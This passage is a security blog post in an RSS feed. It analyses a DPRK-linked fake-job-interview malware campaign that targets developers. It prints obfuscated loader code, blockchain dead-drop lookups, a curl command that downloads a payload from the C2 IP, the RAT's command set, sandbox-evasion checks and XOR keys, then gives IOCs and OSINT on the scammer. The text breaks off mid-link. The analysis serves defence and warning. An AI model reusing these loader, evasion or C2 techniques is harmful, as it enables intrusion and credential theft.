<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by OZ on Medium]]></title>
        <description><![CDATA[Stories by OZ on Medium]]></description>
        <link>https://medium.com/@0xOZ?source=rss-227066618c96------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*7sYeHUOm88c67Sck4U3I9w.jpeg</url>
            <title>Stories by OZ on Medium</title>
            <link>https://medium.com/@0xOZ?source=rss-227066618c96------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 03:21:24 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0xOZ/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How to Get Scammed (by DPRK Hackers)]]></title>
            <link>https://medium.com/@0xOZ/how-to-get-scammed-by-dprk-hackers-b2f7588aea76?source=rss-227066618c96------2</link>
            <guid isPermaLink="false">https://medium.com/p/b2f7588aea76</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[north-korea]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[OZ]]></dc:creator>
            <pubDate>Tue, 13 Jan 2026 18:46:58 GMT</pubDate>
            <atom:updated>2026-01-13T18:46:58.200Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello there,</p><p>I am someone who is more than happy to accept your scam offer. For that, today we will discuss one of the scammer stories I have collected so far — a long journey involving malware that is said to be backed by DPRK threat actors.</p><p>I won’t dive too deeply into tracing every single byte of the malware. Instead, I’ll link to researchers who have spent their time doing exactly that (shoutout to them). What we <em>will</em> focus on is the approach: how we can actually detect if something is a scam, because let’s face it — as developers we can’t live in a bubble refusing to accept anything from anyone. Hopefully, this will be both fun and useful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2EoGx7PiISDTmJVcXKxk0g.png" /></figure><p>This campaign is tracked under multiple names by security researchers:</p><p>- <strong>**DEV#POPPER**</strong> (Securonix) — The social engineering delivery method: fake job interviews targeting developers</p><p>- <strong>**XCTDH**</strong> — Cross-Chain TxDataHiding: the blockchain-based technique for hiding payloads and laundering stolen crypto</p><ul><li><strong>**Contagious Interview**</strong> (Mandiant/GTIG) — The broader DPRK operation this falls under</li></ul><p>We will be looking into:</p><ul><li>The scammer’s approach and social engineering tactics</li><li>How to safely analyze suspicious code</li><li>The malware itself (spoiler: blockchain as a dropper — yes, really)</li><li>The full kill chain from obfuscated JS to the final payload</li></ul><h3>Story Mode: The Social Engineering</h3><h3>The First Contact</h3><p>Our friend goes by the name <strong>SuperStar0420</strong> on Discord. Already a red flag if you ask me — who picks that as a professional handle? He was recruiting React developers as “Director of Engineering at SolidBit.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*35k3_X6eHE4f2rnbQziMEA.png" /></figure><p>When he first reached out, his message landed in my spam folder. I didn’t notice it until the end of November when I was cleaning things up. Blackhat MEA was coming up and I thought: <em>why not have some fun before the conference?</em></p><p>One thing worth mentioning: I found him in both a PHP language Discord server and “Hunt Town” — a crypto Discord server. Crypto communities being used as hunting grounds? That’s red flag number one, FYI.</p><h3>The “Legit” Company</h3><p>The website he shared actually <em>looks</em> legit. It has content, an About page with team member names, the whole nine yards. The founder listed is “Max Almudhafar” — remember this name, it comes up later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ciJXKmtCnnoQEISXjaGtTg.png" /></figure><p>Now, if we didn’t already know this was a scam, this would be our first checkpoint. You’d want to:</p><ul><li>Search for the names listed in the About section</li><li>Click every button and check if social media accounts are real</li><li>Verify if those accounts actually link back to this website</li></ul><p>But here’s the thing — the website might not even be related to our guy. He could have just grabbed a random company link and impersonated someone there. That’s the beauty (and danger) of social engineering.</p><p>They even had LinkedIn and Facebook pages. Effort was put in.</p><h3>The Job Post and the Pressure</h3><p>Our star also shared a Workable job post, which looked decent:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*mvt-w8UP_Mpx_ebeYA1qrg.png" /></figure><p>Along the way, he insisted on picking me up regardless of how “bad” I was trying to be and said I don’t know React &amp; programming. That persistence? Another red flag. Legitimate recruiters don’t chase candidates who seem disinterested — they have plenty of applicants.</p><p>He also shared a screenshot of an email supposedly from “Max” to his own email about the position, which was deleted later on before I take a screenshot of it. This was odd. It made him look like another candidate trying to cheat the system, yet he was simultaneously claiming to be the one hiring. This confusion is intentional — it creates just enough doubt for victims to move forward with the process.</p><p>Later, he shared the Github repository along with instructions to proceed. Here’s where he got impatient and sloppy. He was playing the role well until this point, but suddenly started giving specific instructions that felt off-track for a legitimate recruitment process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*5vlFMFvsgkTusmcrtDiI7g.png" /></figure><p>He deleted several messages afterward, including the Github repo link. We’ll circle back to discuss the scammer himself at the end — first, let’s dig into the malware.</p><h3>The Github Repository</h3><p>The repository we received was: <a href="https://github.com/maxalmudhafar0210/react-technical-assessment">https://github.com/maxalmudhafar0210/react-technical-assessment</a></p><p>And there it is — <strong>Max Almudhafar</strong> again, this time as the GitHub username. Whether this is the real founder’s name being abused or a persona the scammer created, the connection is clear.</p><p>It was removed later, but I got a local copy before it disappeared.</p><p>At the time it existed, there was one open issue and one pull request. The PR was interesting — it contained the push of the entire codebase that was already there. Seems like he didn’t know how to push properly at first. Unfortunately, I couldn’t capture the username who created the PR, so I can’t confirm if it was a different account that could have led to another trail.</p><p>The open issue was from someone who came from <strong>Upwork</strong> — another victim who didn’t know it was a scam. The scammer’s Upwork account had been suspended, and this person opened a Github issue trying to reach out thinking it was a legitimate process. I was able to explain the situation to them. Turns out they had actually <strong>executed the malware inside their Linux VM</strong>, I later on sent him an email after looking into the malware, however I am still waiting response from his end to see what happened with him. Lesson learned, I hope.</p><h3>Repository Structure</h3><p>Looking at the codebase, we have a typical-looking project:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*jWjaLvFCG05rTjdWP4ymIQ.png" /></figure><p>The frontend contains an ASSESSMENT.md file—the &quot;technical exam&quot; instructions we&#39;re supposed to follow.</p><p>I also checked the git logs and found an email address. Not sure if it’s actually related to the scammer or just some random value:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*eTSkey3muMCDuJtRWrKHHQ.png" /></figure><h3>Finding the Malware: The Safe Way</h3><p>Here’s my general approach when analyzing Node.js codebases for malware:</p><ol><li>Look into the package.json file</li><li>Look into the entrypoint files</li><li><strong>Execute in a containerized environment and observe what happens</strong></li></ol><p>The package.json looked clean. The server.js (the first thing executed when running yarn start) also looked fine on quick review. Nothing <em>suspicious</em>—everything seemed okay, as if this wasn&#39;t a scam at all.</p><p>But here’s the thing: going through each file individually is not practical, and that’s exactly what the attacker is counting on. Instead of playing their game, I went straight to dynamic analysis.</p><h3>Docker + pspy: Trust Nothing, Observe Everything</h3><p>I spun up a Docker container and ran pspy (a process spy tool) inside it before doing anything else:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CD_kijBzG3dV8MoZuGoTag.png" /></figure><p>Why before npm install? Because malicious packages can execute code during installation, dependency confusion attacks are real. I wanted to catch anything suspicious from the very first moment.</p><p>Upon running yarn install, nothing happened. Good so far. But when I ran yarn start... things got interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*_mpoeERNvqqvWMpcZ0nh6A.png" /></figure><p>I was doing this analysis weeks after receiving the malware (post-Blackhat), so I got a 404 error when it tried to reach out to its server. But that’s okay — I could see clearly that it was trying to contact express-project-ifm6fa.fly.dev. That&#39;s our scammer&#39;s staging server.</p><p>And yes, I have a copy of what it would have returned — here’s the JSON response from that staging server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v61nn9xBpjdvkYR139JE1g.png" /></figure><h3>Hunting Down the Trigger</h3><p>Looking at server.js, we have the following imports:</p><pre>import express from &#39;express&#39;;<br>import cors from &#39;cors&#39;;<br>import dotenv from &#39;dotenv&#39;;<br>import { createRequire } from &#39;module&#39;;<br>import db from &#39;./config/database.js&#39;;<br>import { mockData } from &#39;./data/mockData.js&#39;;<br>import { errorHandler, notFound } from &#39;./middleware/errorHandler.js&#39;;<br>// Import routes<br>import authRoutes from &#39;./routes/authRoutes.js&#39;;<br>import productRoutes from &#39;./routes/productRoutes.js&#39;;<br>import categoryRoutes from &#39;./routes/categoryRoutes.js&#39;;<br>import orderRoutes from &#39;./routes/orderRoutes.js&#39;;<br>import reviewRoutes from &#39;./routes/reviewRoutes.js&#39;;<br>import cartRoutes from &#39;./routes/cartRoutes.js&#39;;</pre><p>To narrow down where the malware lives, I did what any lazy (efficient) person would do: comment out everything and uncomment imports one by one until I find the culprit.</p><p>Lucky me — the malware was in the very first import I tested: database.js. My search didn&#39;t take long.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p8uh6QX1JFs4BrOtwZy3ow.png" /></figure><h3>The Trigger: database.js</h3><p>Inside database.js, there&#39;s a snippet that fetches data from an external URL. If that URL was still alive, it would return this JSON:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SxB8ESwBJbyrSaQG8SQZyA.png" /></figure><p>See that obfuscated JavaScript in the response? That’s the payload. The code reads data.data[6].description and then <strong>evals</strong> it. That&#39;s the trigger—executing arbitrary code fetched from an external server disguised as an innocent database configuration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*umQXRN0C_QXZbuJhAit74Q.png" /></figure><h3>Reversing the JS Malware</h3><p>Now we skip the storytelling and dive into the malware itself. I used AI assistance to speed up the deobfuscation process — no shame in working smarter.</p><p>Before we get into the weeds, here’s the full kill chain we’re about to unpack:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2EoGx7PiISDTmJVcXKxk0g.png" /></figure><h3>Stage 1: LCG Obfuscation</h3><p>First, I ran the obfuscated code through an online JS deobfuscator, which made it easier for me to go through it even though I can’t understand all these loops and variables but at least I know where to add console.log to move on.</p><pre>global[&quot;!&quot;] = &quot;7-test&quot;;<br>var _$_1d32 = function (x, w) {<br>  var d = x.length;<br>  var a = [];<br>  for (var o = 0; o &lt; d; o++) {<br>    a[o] = x.charAt(o);<br>  }<br>  for (var o = 0; o &lt; d; o++) {<br>    var z = w * (o + 370) + w % 42601;<br>    var l = w * (o + 409) + w % 35742;<br>    var j = z % d;<br>    var f = l % d;<br>    var h = a[j];<br>    a[j] = a[f];<br>    a[f] = h;<br>    w = (z + l) % 3217160;<br>  }<br>  // ... continues ...</pre><p>This is a <strong>Linear Congruential Generator (LCG)</strong> shuffling algorithm. It takes a string and a seed, then shuffles characters around using mathematical constants. Clever way to avoid standard Base64 signatures that security tools look for. How did I know that this is LCG? I asked Gemini- I was: whatever, let it be just console.log the results</p><p>To extract the next stage payload, I added console.log statements everywhere and executed it inside Docker. Being lazy is sometimes the solution:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-vqUdPBIAsdawf2PSMk5rQ.png" /></figure><p>So the first step goes like: Obfuscated =&gt; Deobfuscated. And there it is — another payload.</p><h3>Stage 2: The Dead Drop Resolver</h3><p>Same deobfuscation process with the new payload:</p><pre>var _$_a2a4 = _$af26993(&quot;%%AVe!_e_d2errdr%o6%7dTtp...&quot;, 5085621);<br>function _$af26993(t, m) {<br>  var c = t.length;<br>  // ... dictionary-based reconstruction ...</pre><pre>  try {<br>    a = i[_$_a2a4[27]][_$_a2a4[26]]((await c(<br>      &quot;https://api.trongrid.io/v1/accounts/&quot; + t + _$_a2a4[24]<br>    ))[_$_a2a4[7]][0][_$_a2a4[23]][_$_a2a4[7]], _$_a2a4[25])<br>    // ... more obfuscation ...<br>  } catch (t) {<br>    a = (await c(<br>      &quot;https://fullnode.mainnet.aptoslabs.com/v1/accounts/&quot; + e + _$_a2a4[30]<br>    ))[0][_$_a2a4[29]][_$_a2a4[28]][0];<br>  }</pre><p>Now <em>this</em> is where it gets interesting. Rather than manually unpacking everything, I had Gemini generate debugging probes that exposed the malware’s behavior in real-time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*Z6OU-gWx82Yi1a9Bodhwcg.png" /></figure><p>What we found is a <strong>Dead Drop Resolver</strong> architecture. The malware doesn’t have hardcoded C2 server addresses. Instead, it:</p><ol><li>Queries specific <strong>Tron</strong> wallet addresses for “pointers”</li><li>If Tron fails, falls back to <strong>Aptos</strong> blockchain</li><li>Uses those pointers (transaction hashes) to fetch encrypted payloads from <strong>Binance Smart Chain</strong></li></ol><p>The cleartext wallet addresses in the code aren’t decoys — they’re a fully functional <strong>dual-channel command infrastructure</strong>. If one blockchain gets blocked, the other takes over automatically.</p><p>Here’s the key insight: the binary lacks any hardcoded payload locations. What it <em>does</em> have are high-entropy strings like 2[gWfGj... which are <strong>hardcoded XOR decryption keys</strong>. The <em>location</em> of the payload is dynamic (fetched at runtime), but the <em>decryption capability</em> is static.</p><p>This is clever. The attacker can rotate their hosting infrastructure endlessly without recompiling the malware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bzuDcDwpIaaZJbIzOvhZRg.png" /></figure><h3>Wallet Infrastructure</h3><p>The malware queries these wallets with a filter like: /transactions?only_confirmed=true&amp;only_from=true&amp;limit=1</p><p>This fetches only the latest transaction <em>sent from</em> the wallet — which contains the pointer to the actual payload.</p><pre>Tron Wallet TFMudZvWCw96CCKKHGaDTXFXropp9TUJwG Primary Signal (Stage 1)<br>Aptos Wallet 0x76bee1c28ff29d6c414e38a5c11d03facec7bef251aca9c484ddfeb59a06dc37 Backup Signal (Stage 1)<br>Tron Wallet TPx5Rw3d5ohacK22aYGYTWi5Jpzhyyo1Vp Primary Signal (Stage 2)<br>Aptos Wallet 0x4a5301c04974d149212b23a4f99c8e0e2bab458d93e4f47e65057a9d5ea26515 Backup Signal (Stage 2)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cTl_CSOPgEq8sacq5-ZehA.png" /></figure><p>And the backup one gives the same resulting payload</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xEOjJAxLhHtycPEtQ67JQQ.png" /></figure><p>Stage 3: Fetching the Payload from Binance</p><p>The pointer extracted from Tron/Aptos is a transaction hash on <strong>Binance Smart Chain</strong>. The malware connects to a BSC RPC node and requests the Input Data of that transaction:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JkDZG8gpvXJtbL6Nge-I0A.png" /></figure><p>That hex-encoded data is the actual payload location:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*91RaX02zgly1aK8KaAzGLQ.png" /></figure><p>When we look into Binance:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uZiZW-h1ohR0DR7r3wk11g.png" /></figure><p>The payload itself is XOR-encrypted. Once decrypted, we get two execution paths:</p><ol><li>One payload executed via eval()</li><li>Another spawned as a new node process (fileless execution)</li></ol><p>My approach going through this is to add console.log() everywhere, and update the eval() input from being the previous results to my own modified payload with console.logs, so it&#39;s actually executing my own payload that has the <em>last step</em> commented until I replace it with the next code that I have extracted, along with the modified previous code for debugging.</p><h3>Stage 4: The Final Payload</h3><p>Looking at the eval’d payload (also available <a href="https://gist.github.com/0x0OZ/46cc7e5c6c4a9c9dcc1cf95b30d780a8">here</a>):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*x8VcCWQeHg5MnRwNu4zMbQ.png" /></figure><p>We discover yet another layer with new wallet addresses:</p><ul><li><strong>Tron:</strong> TLmW5dMPTmtdgBKgKexc4uXZuvvEUU2DeF</li><li><strong>Aptos:</strong> 0x7f66d0cf22f45f3cb39510dbef425b9728bea5159fe5c0a7a7d1f750ef2740bb</li></ul><p>These point to: 0x828f00daa9fa68b36d2f2380f3fdc27265c53417ef01660b5421ea1125fad2de on Binance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7MItMNP06DZ2l2qyNF7oSg.png" /></figure><p>The final stage reaches out to an actual C2 server where things start:</p><pre>curl -X GET &quot;http://23.27.120.142:27017/$/boot&quot; \<br>     -H &quot;User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36&quot; \<br>     -H &quot;Connection: close&quot; \<br>     --output payload_stage2.bin</pre><p>This downloads an “ai engine” thing from GitHub which at first I thought was just a decoy to confuse analysts. I was already annoyed by the amount of depth here and didn’t want to dig further.</p><p>But then I checked the Ransom-ISAC blog and found they went deeper — so I decided to take another look. I’d only analyzed one of the two malware paths anyway. Time to see what both payloads actually do.</p><h3>The Final Payloads: What They Actually Do</h3><p>I used AI to summarize the two final payloads (the one executed via eval() and the one spawned as a node process). Both are part of the same campaign—they share XOR decryption keys and C2 infrastructure.</p><h4>Payload 1: Remote Access Trojan (RAT) / Backdoor</h4><p><strong>IDE Persistence/Injection</strong> — This is nasty. It injects malicious code into:</p><ul><li>VS Code (@vscode/deviceid/dist/index.js)</li><li>Cursor editor (same path pattern)</li><li>Uses markers /*C250617A*/ and /*C250618A*/ to track injected files</li></ul><p><strong>C2 Communication</strong> — Connects via Socket.IO to 23.27.120.142:443</p><p><strong>Remote Command Execution</strong> — Supports multiple commands:</p><pre>ss_info      Exfiltrate system info (version, paths, session)<br>ss_ip        Get victim&#39;s IP geolocation<br>ss_upf       Upload files to attacker<br>ss_upd       Upload directories to attacker<br>ss_eval:     Execute arbitrary JavaScript via eval()<br>ss_inz:      Inject malware into a target file<br>ss_inzx:     Remove injection from a file<br>&lt;other&gt;      Execute via child_process.exec()</pre><p><strong>Data Exfiltration</strong> — Uploads files to <a href="http://23.27.120.142:27017/u/f">http://23.27.120.142:27017/u/f</a></p><h4>Payload 2: Dropper/Loader with Anti-Analysis</h4><p><strong>Environment Fingerprinting</strong> — Collects hostname, username, platform, kernel version. Detects cloud environments (AWS, Azure, GCP, Vercel, Amplify) and CI/CD systems.</p><p><strong>Sandbox/Analysis Evasion</strong> — Blocks execution in:</p><ul><li>AWS/Azure/GCP/Vercel cloud instances</li><li>Docker containers (detects by hostname patterns like [0-9a-f]{12})</li><li>Kali Linux (specifically blocks kali hostname with root/kali/shellchocolat users)</li><li>CI/CD environments</li><li>WSL2 on Linux</li></ul><p><strong>Credential/Environment Exfiltration</strong> — Sends all environment variables to &lt;C2&gt;/snv</p><p><strong>Second-Stage Payload Delivery:</strong></p><ul><li>XOR-decrypted JavaScript (key: 4#uLeVM[3lESLGA) spawned as detached Node process</li><li>Python loader fetches additional payload from &lt;C2&gt;/$/&lt;id&gt; using XOR decryption (key: 9KyASt+7D0mjPHFY)</li><li>Auto-installs Python if not present (downloads from C2 on Windows, installs pip on Linux)</li></ul><h4>How It Avoids Getting Caught</h4><p>The sandbox detection is honestly impressive. They’re checking for:</p><pre>AWS          Username ubuntu/runner/root + kernel contains -aws/.amzn<br>Azure        Username runner/codespace/azureuser + kernel contains -azure<br>Docker       Hostname matches /^[0-9a-f]{12}$/ (container ID pattern)<br>Kali Linux   Hostname kali + user root/kali/shellchocolat<br>CI/CD        Hostname patterns like build-*, buildkitsandbox, 1a-cicd-*<br>WSL2         Kernel contains microsoft-standard-WSL2</pre><p>They also use a ReDoS-based debugger detection trick — if someone’s stepping through code with a debugger, the regex catastrophically backtraces and hangs.</p><h4>The Attack Chain</h4><p>Here’s how it all fits together:</p><pre>npm install &lt;malicious-package&gt;<br>        │<br>        ▼<br>┌─────────────────────────────────────┐<br>│  Loader/Dropper                     │<br>│  • Fingerprints system              │<br>│  • Checks for sandbox               │<br>│  • Installs axios, socket.io-client │<br>│  • Exfiltrates env vars to /snv     │<br>└─────────────────┬───────────────────┘<br>                  │<br>        ┌─────────┴─────────┐<br>        ▼                   ▼<br>┌───────────────┐   ┌────────────────────┐<br>│ XOR-decrypt   │   │ Download Python    │<br>│ + spawn Node  │   │ runtime if needed  │<br>│ payload       │   └─────────┬──────────┘<br>└───────┬───────┘             │<br>        │                     ▼<br>        ▼             ┌────────────────────┐<br>┌───────────────────┐ │ Fetch XOR-encrypted│<br>│ RAT/Backdoor      │ │ Python payload     │<br>│ • Socket.IO C2    │ │ from /$/&lt;id&gt;       │<br>│ • Inject VS Code  │ └─────────┬──────────┘<br>│ • Remote shell    │           │<br>│ • File exfil      │           ▼<br>└───────────────────┘   ┌────────────────────┐<br>                        │ Execute decrypted  │<br>                        │ Python (stage 3)   │<br>                        └────────────────────┘</pre><h4>IOCs from Final Payloads</h4><pre>C2 Ports          443, 27017<br>Endpoints         /verify-human/, /snv, /u/f, /$/, /d/python.zip<br>XOR Keys          4#uLeVM[3lESLGA, 9KyASt+7D0mjPHFY<br>Persistence       ~/.node_modules, VS Code/Cursor install paths<br>File Markers      /*C250617A*/, /*C250618A*/</pre><p><strong>TL;DR</strong> — These are supply chain attack payloads that evade analysis environments, backdoor your IDE for persistence, establish C2 via Socket.IO, steal your env vars, and drop a Python second-stage. Nasty stuff.</p><h3>The “Triple-Chain” Architecture</h3><p>Let me break down why this infrastructure is so resilient:</p><pre>Signal (Primary)   Tron    TFMudZvWCw96CCKKHGaDTXFXropp9TUJwG                                   Points to payload location<br>Signal (Backup)    Aptos   0x76bee1c28ff29d6c414e38a5c11d03facec7bef251aca9c484ddfeb59a06dc37   Failover pointer<br>Signal (Persist)   Tron    TPx5Rw3d5ohacK22aYGYTWi5Jpzhyyo1Vp                                   Secondary persistence pointer<br>Payload Host       BSC     0xfc229556e244e8155b4c0d02a82239038211c29a33ceb46065e03b08dbde1bcb   Hosts Encrypted Payload A<br>Payload Host       BSC     0x452ca1abcac0439c34b74f57b6d6e1ca90d4a7b22532347e4dc97a716b5e54e0   Hosts Encrypted Payload B</pre><p>The beauty (from an attacker’s perspective) is that blockchain data is <strong>immutable</strong>. You can’t ask Binance to delete a transaction. You can’t take down a Tron wallet. The infrastructure lives forever on public ledgers.</p><h3>Indicators of Compromise (IOCs)</h3><h3>Network Indicators</h3><ul><li><a href="https://api.trongrid.io/v1/accounts/TFMudZvWCw96CCKKHGaDTXFXropp9TUJwG/transactions">https://api.trongrid.io/v1/accounts/TFMudZvWCw96CCKKHGaDTXFXropp9TUJwG/transactions</a></li><li><a href="https://fullnode.mainnet.aptoslabs.com/v1/accounts/0x76bee1c28ff29d6c414e38a5c11d03facec7bef251aca9c484ddfeb59a06dc37">https://fullnode.mainnet.aptoslabs.com/v1/accounts/0x76bee1c28ff29d6c414e38a5c11d03facec7bef251aca9c484ddfeb59a06dc37</a></li><li>https://bsc-dataseed.binance.org (RPC calls to eth_getTransactionByHash)</li><li><a href="https://bsc-rpc.publicnode.com/">https://bsc-rpc.publicnode.com</a></li><li><a href="http://23.27.120.142:27017/$/boot">http://23.27.120.142:27017/$/boot</a></li><li>express-project-ifm6fa.fly.dev</li></ul><h3>Host-Based Indicators</h3><ul><li><strong>Process Tree:</strong> node spawning a child node process with -e flag containing a large script block starting with global[&#39;_V&#39;]=&#39;...</li><li><strong>Memory Strings:</strong> api.trongrid.io, eth_getTransactionByHash, wallet addresses listed above</li></ul><h3>Detection Rules</h3><p>For YARA rules, Sigma rules, and other detection signatures, refer to the <a href="https://www.ransom-isac.com/blog/cross-chain-txdatahiding-crypto-heist/">Ransom-ISAC analysis</a> which provides well-maintained and tested signatures for this malware family.</p><h3>A Note on the Obfuscation</h3><p>Both Stage 1 and Stage 4 use <strong>LCG (Linear Congruential Generator) shuffling</strong> with different mathematical constants. I’ll be honest — I didn’t bother reading through the algorithm manually. I let AI handle that part and just focused on extracting the payloads. Sometimes the tool doesn’t matter as long as you get the job done.</p><p>The full debugging scripts I used are available here: <a href="https://gist.github.com/0x0OZ/46cc7e5c6c4a9c9dcc1cf95b30d780a8">https://gist.github.com/0x0OZ/46cc7e5c6c4a9c9dcc1cf95b30d780a8</a>. Believe me you don’t want to take a look at my garbish scripts</p><h3>The Scammer: What We Know</h3><p>Our friend <strong>SuperStar0420</strong> made some mistakes that exposed his identity — or at least gave us breadcrumbs to follow. Let’s see what we can piece together.</p><h3>Discord OSINT</h3><p>I’m currently blocked by him on Discord (guess I was too annoying — probably regretted trying to scam me). But before that happened, we shared two mutual servers: <strong>Crypto Hunt</strong> and <strong>PHP DEVELOPERS</strong>, and later he joined one called <strong>CryptoDevs</strong>. I went through all his messages in these servers to understand him better.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xOzPF9ovnYmYDfOnhHQwlg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CxWteZSGD0ir-L3_A1JOUQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DVPJxiuqf0wMH8Zo8-yzqw.png" /></figure><p>What these messages tell us:</p><ul><li>Only two messages in Hunt Town server from <strong>2024</strong> — looking for job offers with what seems like AI-generated skill lists (probably lies)</li><li>This suggests he was looking for <em>legitimate</em> work back then</li><li>He jumped into crypto communities later, likely when he started scamming (PHP DEVELOPERS messages are from 2024, Hunt Town messages are from 2025)</li></ul><p>One curious detail: in 2024 he was looking for a “male 20–34 <strong>not from India, Pakistan, Bangladesh</strong>” for some kind of “customization” work. That’s an oddly specific demographic filter. I wonder what that project actually was.</p><h3>Timeline of Scamming Operations</h3><p>We also have messages from the <strong>C# Microsoft</strong> Discord server (which he’s no longer part of). These are dated <strong>June 8th, 2025</strong> — which likely marks around when he started running these scams:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*XjjjmmDtUmrfuzk146gFhw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JVc1HlQa8CmXeyKT3gyfmw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JciPNtjTrCaF0_wUy2_5xg.png" /></figure><h3>Username Trail</h3><p>Another mistake: his Discord username. He used <strong>SuperStar0420</strong> and later changed it to <strong>masterdev0420</strong>. I searched for other accounts with this handle:</p><ul><li><a href="https://www.answeroverflow.com/u/1128366871020834858">https://www.answeroverflow.com/u/1128366871020834858</a></li><li><a href="https://forum.plutonium.pw/user/superstar0420">https://forum.plutonium.pw/user/superstar0420</a></li></ul><p>These were the only results that seemed connected to the same person. Running Sherlock turned up other accounts, but they appeared to be different people using the same username — common enough that it wasn’t useful.</p><p>One interesting lead: I found an Instagram account that <em>might</em> have been his. When I asked him about it on Discord, his response was… not helpful. You can probably guess why I got blocked shortly after.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*UPtaKaFbtslHRCBiKG3xEw.png" /></figure><p>What made me suspicious? He changed his Discord username just a few days after I asked about that picture. Coincidence? Maybe. Maybe not.</p><h3>Infrastructure Investigation</h3><p>For the scam infrastructure itself, searching for the C2 IP 23.27.120.142 turned up several articles and Twitter threads sharing this IOC. Other teams have done deeper analysis that I&#39;ll link below.</p><p>I ran an nmap scan against the IP to see what’s exposed:</p><pre># 23.27.120.142<br>PORT      STATE SERVICE<br>443/tcp   open  https<br>3389/tcp  open  ms-wbt-server<br>5985/tcp  open  wsman<br>17500/tcp open  db-lsp<br>27017/tcp open  mongod</pre><p><strong>What we found:</strong></p><pre>Port 443    HTTPS            Everything returns 404—no interesting paths found<br>Port 3389   RDP              Hostname: EV-4A6OE6M0E2D (looks auto-generated)<br>Port 5985   WinRM            Windows Remote Management—interesting attack surface<br>Port 17500  Dropbox LAN Sync Unusual to see this exposed<br>Port 27017  HTTP             Currently redirects /$/&lt;ANYTHING&gt; to a GitHub raw file</pre><p>The port 27017 redirect is curious — it points to: <a href="https://github.com/duanegoodner/xiangqigame/raw/refs/heads/main/prototypes/crtp_constructors/gist_crtp_constructors">https://github.com/duanegoodner/xiangqigame/raw/refs/heads/main/prototypes/crtp_constructors/gist_crtp_constructors</a></p><p>According to other researchers’ analysis, this GitHub account (duanegoodner) belongs to a <strong>non-real identity</strong>—likely a sock puppet account created by the threat actors. This suggests the repository isn&#39;t just a dead payload location, but potentially part of the next phase of the malware delivery chain. They&#39;re using GitHub as another layer of infrastructure, blending in with legitimate developer activity.</p><h3>The Rotating Infrastructure</h3><p>That random-looking RDP hostname — EV-4A6OE6M0E2D—caught my attention. I searched for it and found it appearing across multiple IPs in various malware reports. This tells us something important: <strong>the servers rotate, but the hostname fingerprint persists</strong>.</p><p>SourceLinkANY.RUN<a href="https://any.run/report/b1032815b078aad59eb3bd32c29dee4621b37e516e679e84cb7d1c11c3eaff15/1b2b6ce6-2922-47b0-b62a-8897b78704eb">https://any.run/report/b1032815b078aad59eb3bd32c29dee4621b37e516e679e84cb7d1c11c3eaff15/1b2b6ce6-2922-47b0-b62a-8897b78704eb</a>Malware.lu<a href="https://app.malware.lu/sample/23.27.120.142_3389_EV-4A6OE6M0E2D_2025-12-11_12-21-08/">https://app.malware.lu/sample/23.27.120.142_3389_EV-4A6OE6M0E2D_2025-12-11_12-21-08/</a>FileScan.io<a href="https://www.filescan.io/uploads/68089ff790767142c3e16fc2/reports/13bdc659-5e29-4d45-ac06-10e3956cf148/strings">https://www.filescan.io/uploads/68089ff790767142c3e16fc2/reports/13bdc659-5e29-4d45-ac06-10e3956cf148/strings</a>Ransom-ISAC (Part 3)<a 